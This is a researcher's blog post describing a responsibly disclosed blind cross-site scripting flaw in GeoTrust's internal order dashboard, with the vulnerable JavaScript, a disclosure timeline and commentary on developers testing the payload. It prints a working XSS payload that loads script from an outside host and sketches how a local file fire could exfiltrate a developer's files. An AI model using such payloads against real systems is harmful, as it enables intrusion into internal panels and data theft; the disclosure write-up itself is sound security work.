Breaching a CA – Blind Cross-site Scripting (BXSS) in the GeoTrust SSL Operations Panel Using XSS Hunter
This is a continuation of a series of blog posts which will cover blind cross-site scripting (XSS) and its impact on the internal systems which suffer from it. Previously, we’ve shown that data entered into one part of a website, such as the account information panel, can lead to XSS on internal account-management panels. This was the case with GoDaddy, the Internet’s largest registrar. Today we will be showing off a vulnerability in one of the Internet’s certificate authorities which allows us to get a rare peak inside of their internals.
One of the Best Disclosure Experiences in a Long Time
Before we start I would like to call out the awesome responsible disclosure experience I had with Symantec (the owner of GeoTrust). To be honest I had incredibly low expectations before I contacted them but the person I talked with (Mike) was a super helpful and made the experience completely painless. They had no problem using PGP, kept me updated with the status of the bug, and gave me a tracking ID for the vulnerability – all signs of a mature disclosure program. Finally they even took action to ensure that the entire code base was scrubbed for other XSS vulnerabilities which actually took me aback with the level of pro-activeness. While the security community seems to now hate vendors if they don’t reward $50,000 for every security issue, I still really appreciate companies working with researchers even if no reward is involved. The security advisory for this vulnerability has also been posted to their website and can be found here.
What is a Certificate Authority?
For those unfamiliar with the inner-workings of SSL/TLS, the entire system works based off of trusting a few certificate authorities (CAs). These certificate authorities have the power to mint intermediate certificate authorities which can then mint certificates for websites looking to protect their communications with SSL/TLS. All of these certificate authorities are embedded in your web browser by default which gives them this power. This system means that the certificate authorities can sell this service, as is the case with GeoTrust, or offer it for free as is the case with Let’s Encrypt. In order for an attacker to intercept communications to these websites, they must have access to a trusted CA or an intermediary CA created by a trusted CA which is already embedded in the user’s browser. Mozilla, the creator of the Firefox web browser, keeps a simple list of certificate authorities that are trusted in Firefox by default here. One of the important responsibilities of certificate authorities is to ensure that only the true owners of websites are allowed to issue certificates. This is to ensure that malicious actors don’t get a valid certificate for a website that they do not own (such as google.com, etc). If a certificate authority fails to carry out this duty properly it risks being removed from all modern web browsers. This was the case with the certificate authority DigiNotar which was breached and used to issue improper SSL/TLS certificates for Gmail, allowing the Iranian government to spy on its citizens. Browser vendors reacted by removing DigiNotar from their trust stores, meaning that all certificates issued by this certificate authority no longer trusted and would throw an SSL error when used. In the end, this led to the Dutch goverment taking over the company and ultimately, bankruptcy for DigitNotar.
Discovering the Vulnerable GeoTrust Operations Dashboard
Originally, I wasn’t looking for a vulnerability in GeoTrust at all, I simply wanted to obtain a trusted SSL/TLS certificate with my XSS Hunter payloads in some of the certificate fields using various certificate authorities. This was an attempt to enumerate vulnerabilities in systems which scan the Internet for these certificates and index them. However, during my testing I found an unintended vulnerability in GeoTrust’s Operations Panel when a support agent viewed my certificate request information. I woke up one morning with an XSS Hunter payload fire email titled [XSSHunter] XSS Payload Fired On https://ops.geotrust.com/opsdashboard/com.geotrust.presentation.app.ops.services.cancelagedorders.CancelAgedOrders/CancelAgedOrders.jsp in my inbox with the following screenshot attached:
The above screenshot is partially redacted to respect the privacy of the customers of GeoTrust (and the agent viewing the page). However, the red highlighted portion shows the location of the XSS payload which had fired.
In the above screenshot there appears to be a “Vetting” portion to this operations panel. Likely this is for manual “vetting” of those requesting certificates. I’ll leave the possible security implications of this up to the reader. However, I was not able to verify its purpose since I didn’t want to overstep my boundaries in any way.
So what code made this page vulnerable? Let’s take a closer look.
Better Context, Better Understanding
Since our XSS Hunter probe collects the vulnerable page’s DOM we can investigate the page’s JavaScript source code to attempt to discover the cause of this vulnerability. In this case the root of the vulnerability appeared to be caused by a vulnerable function named getOrders. The code for this function is the following:
function getOrders() { // get the form values var dateInput = $('#date2').datepicker( "getDate" ); var range1 = $('#from').datepicker( "getDate" ); var range2 = $('#to').datepicker( "getDate" ); dateInput = $.datepicker.formatDate('@', dateInput); range1 = $.datepicker.formatDate('@', range1); range2 = $.datepicker.formatDate('@', range2); var curr = new Date(); if((curr - range2) < 86400000){ alert("Cannot cancel orders less than 21 days old") }else{ if($('input[name=searchRadio]:checked').val() == "byDate"){ range1 = 0; range2 = dateInput; } range1 = range1.toString(); range2 = range2.toString(); $.ajax({ type: "GET", dataType: "json", url: "/opsdashboard/CancelAgedOrdersServlet", data: "range1=" + range1 + "&range2=" + range2 + "&cancel=false", success: function(data, textStatus, XMLHttpRequest){ var table = "<table border=\"1\" cellpadding=\"3\" cellspacing=\"0\" align=\"center\"><tr><td bgcolor=\"pink\">" + "Order ID</td><td bgcolor=\"pink\">Product Name</td><td bgcolor=\"pink\">Customer Name" + "</td><td bgcolor=\"pink\">Order Date</td><td bgcolor=\"pink\">Order State</td></tr>"; var count = data.length; var i; if(count==0){ alert('No orders to retrieve'); $('#getOrdersDiv').show(); } else if(count==1 && data[0].RecordsOverflow == "true"){ alert('Too many records retrieved, please reduce date range.'); $('#getOrdersDiv').show(); } else{ for(i = 0; i < count; i++){ table = table + "<tr><td>" + data[i].ID + "</td><td>" + data[i].Product + "</td><td>" + data[i].Customer + "</td><td>" + (data[i]).Date + "</td><td>" + data[i].State + "</td></tr>"; } table = table + "</table>"; $('#grid').html(table); $('#grid').show(); $('#cancels').show(); } }, error: function(XMLHttpRequest, textStatus, errorThrown){ alert('No orders to retrieve'); $('#getOrdersDiv').show(); } }); } }
The above code shows that the HTML table seen in the screenshot is created by concatenating HTML with order information retrieved from a JSON endpoint /opsdashboard/CancelAgedOrdersServlet. The relevant lines are the following:
for(i = 0; i < count; i++){ table = table + "<tr><td>" + data[i].ID + "</td><td>" + data[i].Product + "</td><td>" + data[i].Customer + "</td><td>" + (data[i]).Date + "</td><td>" + data[i].State + "</td></tr>"; }
The product ID, name, customer name, and state are all used to concatenate each row in the HTML table. When going through the free-trial certificate sign up process the customer name I provided was the following:
"><script src=https://y.vg></script>
Once the JavaScript code runs on my input, it creates a row with the following HTML:
<tr><td>13785664</td><td>GeoTrust SSL Trial</td><td>"><script src="https://y.vg"></script</td><td>06/06/2016 05:40:04</td><td>Waiting for Whois Approval</td></tr>
Finally, the entire HTML blob is inserted into the DOM with the following line:
$('#grid').html(table);
This causes the _
String concatenation is one of the most common ways for XSS vulnerabilities to occur and this is no exception. The important thing to note in this example is that we are able to determine the root cause of the vulnerability with ease due to the amount of contextual information collected by our XSS Hunter payloads. This makes communicating the root issue much easier and has in the past even led to vendors becoming concerned that I have actually logged in as an internal agent (though not in this specific case). In the world of blind payload testing, context is everything. You may only trigger the vulnerability a single time so you must have as much information as possible if you want to get it fixed.
Exploitation During Remediation
Shortly after discovering this vulnerability I reached out to the Symantec security team to disclose this vulnerability. After a quick exchange of PGP keys the team received the vulnerability and confirmed they understood the issue and told me they would work on getting in contact with the appropriate product team.
A few days after this had occurred I woke up to yet another payload fire email, this time the title was the following:
[XSSHunter] XSS Payload Fired On https://stage1-ops.geotrust.symclab.net/opsdashboard/com.geotrust.presentation.app.ops.services.cancelagedorders.CancelAgedOrders/CancelAgedOrders.jsp
Attached was the following screenshot:
The above screenshot requires less redaction, because it is filled with test data due to it being a staging instance. Apparently the product team that received the vulnerability report decided to use the same payload in staging as in production. In the upcoming days I received a few more payload fires from the same IP addresses:
[XSSHunter] XSS Payload Fired On file:///C:/Users/sachin_[REDACTED_LAST_NAME]/Desktop/iFrame.html
[XSSHunter] XSS Payload Fired On https://ft1-ops.geotrust.symclab.net/opsdashboard/com.geotrust.presentation.app.ops.services.cancelagedorders.CancelAgedOrders/CancelAgedOrders.jsp
Humorously the first email contained the following screenshot attached to it:
The DOM contents were the following:
<html><head></head><body><header>Hello</header> <iframe src="https://stage2-products.geotrust.symclab.net/orders/rapidssl.do?ref=454848RAP60985"></iframe> `">` (S `"><table title="Click to Verify - This site chose Symantec SSL for secure e-commerce and confidential communications." border="0" cellpadding="2" cellspacing="0" width="135"> <tbody><tr> <script>alert(1)</script><script src="https://y.vg"></script> </tr></tbody></table> </body></html>
It appeared one of the product team members was attempting to analyse the payload. The “Hello” made me wish I could’ve sent a response. So if you’re Sachin and you’re reading this post…hi! After receiving a few of these payload fires I reached back out to Symantec to let them know that the product team was testing with my payload. They communicated this to the team and I stopped receiving them shortly after.
The above occurrence points out another interesting angle of using blind cross-site scripting payloads. Since you are alerted of all payload fires, an attacker can not only learn about the XSS vulnerabilities themselves but also if someone is investigating the payload. This gives the attacker an advanced warning of someone looking into their activities.
In addition to early warning, it shows that developer’s first instincts can also be quite dangerous. The User-Agent of the developer who opened a local HTML file indicated that he was using Firefox 46 on Windows 7. The browser being used is important because file:// URIs are treated very differently depending on which browser is being utilized. Firefox, for example, allows you to use XMLHTTPRequest to retrieve files which are in the same directory or lower on the file system. This means that had I been malicious I could have written a payload to enumerate and send me files off of the developer’s hard drive (assuming they were in the same or lower directory of the fired .html payload file). Since this file was opened from the developer’s Desktop that means the payload could’ve stolen everything else located there as well (what do you have on your desktop?). What started out as an XSS vulnerability in a website has now become a vulnerability which can ex-filtrate files from a developer’s computer.
Final Thoughts
From this case study we’ve learned a lot about the precarious nature of blind XSS testing. If you are interested in testing for these types of vulnerabilities yourself, you can sign up for an account on the XSS Hunter website. If you don’t trust me or want to run your own version you can get a copy of the source code on Github.
Disclosure Timeline
- July 7th: XSS payload fire email received indicating the GeoTrust Operations Panel was vulnerable.
- July 7th: Email sent to [email protected] – bounce message received.
- July 7th: Sent vulnerability report to [email protected] instead after discovering Symantec owns GeoTrust.
- July 8th: Received response from Mike at Symantec with a PGP key for encrypting the vulnerability details.
- July 8th: Responded with PGP-encrypted vulnerability report.
- July 8th: Vulnerability is confirmed by Mike and he states that he will reach out to the relevant team to get it fixed.
- July 14: Reached back out to Symantec to alert them that the product team is using the https://y.vg payload in staging testing.
- July 15: Mike from Symantec states he’ll follow up with the team about it, provides the tracking ID of SSG16-042 for the vulnerability.
- August 31: Symantec posts advisory on their website, it’s likely that a fix happened long before this point but extra time was taken to check the rest of the panel for further vulnerabilities.